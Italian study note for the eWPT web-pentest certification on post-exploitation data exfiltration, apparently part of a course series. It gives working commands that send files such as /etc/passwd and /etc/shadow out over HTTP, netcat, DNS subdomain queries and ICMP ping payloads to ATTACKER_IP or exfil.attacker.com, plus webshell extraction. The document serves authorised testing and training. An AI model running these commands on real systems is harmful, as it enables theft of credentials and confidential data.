eWPT · Exploitation & Post-Ex
Data Exfiltration
Difficoltà: Intermediate Time to Master: 1.5h Prerequisiti: 05-Privilege-Escalation.md Lab: HTB (qualsiasi macchina con accesso a dati sensibili)
Obiettivo
Hai la privesc, hai accesso ai dati che dimostrano l’impatto reale della vulnerabilità: ora devi portarteli via, e non è sempre banale come un scp. In ambienti con egress filtering stretto capita di dover uscire da un canale che sulla carta non è pensato per trasportare dati — DNS, ICMP, o semplicemente il canale RCE già aperto — ed è qui che la fase di post-exploitation si chiude davvero.
Concetti chiave
Canali di esfiltrazione disponibili in base al contesto
| Canale | Quando usarlo |
|---|---|
| HTTP/HTTPS (curl/wget verso il tuo server) | connessioni uscenti HTTP permesse |
| DNS | quando SOLO il DNS è permesso in uscita (molto restrittivo) |
| ICMP | quando ping è permesso ma altro è bloccato |
| Base64 su canale già aperto (webshell/reverse shell) | nessuna connessione aggiuntiva necessaria |
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| python3 -m http.server | server locale ricevente | riceve upload | per esfiltrazione via HTTP POST |
| netcat | nc -lvnp 4444 > file_ricevuto |
riceve stream raw | semplice, senza autenticazione |
| scp/rsync | scp file user@ATTACKER_IP: |
trasferimento diretto | se SSH disponibile in uscita |
Payload / Esempi
Esempio 1: esfiltrazione via HTTP POST (curl)
# sul tuo host
python3 -m http.server 80
# oppure per ricevere POST body:
nc -lvnp 80
# dal target
curl -X POST --data-binary @/etc/passwd http://ATTACKER_IP/upload
Esempio 2: esfiltrazione via netcat diretto (file binari inclusi)
# sul tuo host (listener)
nc -lvnp 4444 > secret_file.zip
# dal target
nc ATTACKER_IP 4444 < secret_file.zip
Esempio 3: esfiltrazione via DNS (quando solo DNS è permesso in uscita)
# sul tuo host, cattura le query DNS in arrivo
tcpdump -i eth0 udp port 53
# dal target: converti il file in chunk encodati come subdomain
# base32 (non base64!): l'alfabeto di base64 include + / = che non sono
# caratteri validi in una label DNS (solo A-Z0-9 e trattino)
base32 -w0 secret_file.txt | tr '=' '0' | fold -w 60 | while read line; do
dig "$line.exfil.attacker.com"
done
Spiegazione: ogni chunk base32 viaggia come subdomain di una query DNS verso un dominio che controlli (serve un nameserver autoritativo configurato, o basta osservare le query in arrivo se hai visibilità sulla rete); è lento ma spesso l’unico canale non filtrato in ambienti molto ristretti. Usa base32 e non base64: l’alfabeto di base64 contiene +, / e =, caratteri non validi in una label DNS.
Esempio 4: esfiltrazione via ICMP (quando solo ping e permesso in uscita)
# sul tuo host, cattura i pacchetti ICMP in arrivo
tcpdump -i eth0 icmp -X
# dal target: incorpora il file nel payload dei pacchetti ping
xxd -p -c 16 secret_file.txt | while read chunk; do
ping -c 1 -p "$chunk" ATTACKER_IP
done
Spiegazione: ping -p (Linux) permette di specificare un payload esadecimale custom nel pacchetto ICMP echo request; sul lato attacker, tcpdump -X mostra l’hex dump del payload di ogni pacchetto ricevuto, che va poi riassemblato manualmente. Utile solo quando il traffico ICMP in uscita è permesso ma tutto il resto è bloccato; è molto lento per file di dimensioni non minime.
Esempio 5: esfiltrazione tramite webshell esistente (base64 inline)
curl "http://target.com/shell.php?cmd=base64+/etc/shadow" | base64 -d
Spiegazione: se non vuoi/puoi aprire un canale aggiuntivo, puoi leggere file di dimensioni contenute direttamente attraverso il canale RCE già stabilito, incollando l’output codificato.
Evasion / Bypass Techniques
Compressione e cifratura prima dell’esfiltrazione (buona pratica anche in test autorizzati)
tar czf - /path/sensibile | openssl enc -aes-256-cbc -pbkdf2 -out data.enc -k PASSWORD
Spiegazione: in un engagement reale, cifra sempre i dati sensibili estratti prima del trasferimento e prima di salvarli sul tuo host, per rispettare gli accordi di confidenzialità col cliente.
Lab Hands-On
Lab 1 (HTB): esfiltrazione di un file di flag/config protetto
Obiettivo: estrarre un file da un sistema con accesso limitato Difficulty: Medio Time: 30 min
Walkthrough breve:
- Identifica quali canali in uscita sono disponibili (HTTP? DNS? solo webshell?)
- Scegli il metodo di esfiltrazione appropriato
- Verifica integrità del file ricevuto (checksum)
Common Mistakes
- Non verificare l’integrità del file dopo il trasferimento -> usa sempre
md5sum/sha256sumsu entrambi i lati per confermare che il file non sia corrotto - Esfiltrare dati sensibili senza cifratura in un engagement reale -> viola spesso gli accordi di confidenzialità, documenta sempre le pratiche corrette nel report
Link Utili
Connessioni
- Prerequisito: 05-Privilege-Escalation.md
- Prossimo Step: 07-CMS-Exploitation.md
- Combinazione con: 10-Reporting-Notes/Vulnerability-Template.md
Checklist di padronanza
- So esfiltrare via HTTP/netcat quando disponibile
- So l’approccio base per esfiltrazione via DNS (base32, non base64) in ambienti ristretti
- So l’approccio base per esfiltrazione via ICMP quando anche DNS è bloccato
- Verifico sempre l’integrità del file trasferito
- So cifrare i dati prima dell’esfiltrazione quando richiesto dall’engagement